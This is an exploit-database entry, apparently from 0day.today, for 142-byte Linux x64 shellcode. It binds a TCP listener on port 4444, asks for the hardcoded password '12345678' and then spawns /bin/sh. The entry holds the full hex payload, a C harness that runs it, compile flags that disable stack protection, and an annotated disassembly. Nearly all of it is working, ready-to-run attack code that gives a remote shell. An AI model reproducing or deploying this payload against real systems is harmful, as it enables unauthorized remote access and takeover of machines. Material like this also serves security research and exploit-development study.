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Linux/x64 - Bind_tcp (0.0.0.0:4444) + Password (12345678) + Shell (/bin/sh) Shellcode (142 bytes)
/* Exploit Title: Linux/x64 - Bind_tcp (0.0.0.0:4444) + Password (12345678) + Shell (/bin/sh) Shellcode (142 bytes) Author: Guillem Alminyana Platform: GNU Linux x64 ===================================== Compile: gcc -fno-stack-protector -z execstack shellcode.c -o shellcode */ #include <stdio.h> #include <string.h> unsigned char code[]= \ "\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x48\x31\xd2\x0f\x05\x50\x5f\x52\x52\x66\x68" "\x11\x5c\x66\x6a\x02\x6a\x31\x58\x54\x5e\xb2\x10\x0f\x05\x6a\x32\x58\x6a\x02\x5e" "\x0f\x05\x6a\x2b\x58\x48\x31\xf6\x99\x0f\x05\x50\x5f\x6a\x02\x5e\x6a\x21\x58\x0f" "\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41" "\x51\x48\x89\xe6\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8" "\x31\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1c\x48\x31\xc0\x50\x48\xbb" "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x50\x54\x5a\x57\x54\x5e\x6a\x3b\x58" "\x0f\x05"; void main() { printf("ShellCode Lenght: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } /* ASM 0: 6a 29 push 0x29 2: 58 pop rax 3: 6a 02 push 0x2 5: 5f pop rdi 6: 6a 01 push 0x1 8: 5e pop rsi 9: 48 31 d2 xor rdx,rdx c: 0f 05 syscall e: 50 push rax f: 5f pop rdi 10: 52 push rdx 11: 52 push rdx 12: 66 68 11 5c pushw 0x5c11 16: 66 6a 02 pushw 0x2 19: 6a 31 push 0x31 1b: 58 pop rax 1c: 54 push rsp 1d: 5e pop rsi 1e: b2 10 mov dl,0x10 20: 0f 05 syscall 22: 6a 32 push 0x32 24: 58 pop rax 25: 6a 02 push 0x2 27: 5e pop rsi 28: 0f 05 syscall 2a: 6a 2b push 0x2b 2c: 58 pop rax 2d: 48 31 f6 xor rsi,rsi 30: 99 cdq 31: 0f 05 syscall 33: 50 push rax 34: 5f pop rdi 35: 6a 02 push 0x2 37: 5e pop rsi 38: 6a 21 push 0x21 3a: 58 pop rax 3b: 0f 05 syscall 3d: 48 ff ce dec rsi 40: 79 f6 jns 38 <loop_1> 42: 6a 01 push 0x1 44: 58 pop rax 45: 49 b9 50 61 73 73 77 movabs r9,0x203a647773736150 4c: 64 3a 20 4f: 41 51 push r9 51: 48 89 e6 mov rsi,rsp 54: 6a 08 push 0x8 56: 5a pop rdx 57: 0f 05 syscall 59: 48 31 c0 xor rax,rax 5c: 48 83 c6 08 add rsi,0x8 60: 0f 05 syscall 62: 48 b8 31 32 33 34 35 movabs rax,0x3837363534333231 69: 36 37 38 6c: 56 push rsi 6d: 5f pop rdi 6e: 48 af scas rax,QWORD PTR es:[rdi] 70: 75 1c jne 8e <exit_program> 72: 48 31 c0 xor rax,rax 75: 50 push rax 76: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f 7d: 2f 73 68 80: 53 push rbx 81: 54 push rsp 82: 5f pop rdi 83: 50 push rax 84: 54 push rsp 85: 5a pop rdx 86: 57 push rdi 87: 54 push rsp 88: 5e pop rsi 89: 6a 3b push 0x3b 8b: 58 pop rax 8c: 0f 05 syscall */ # 0day.today [2024-06-27] #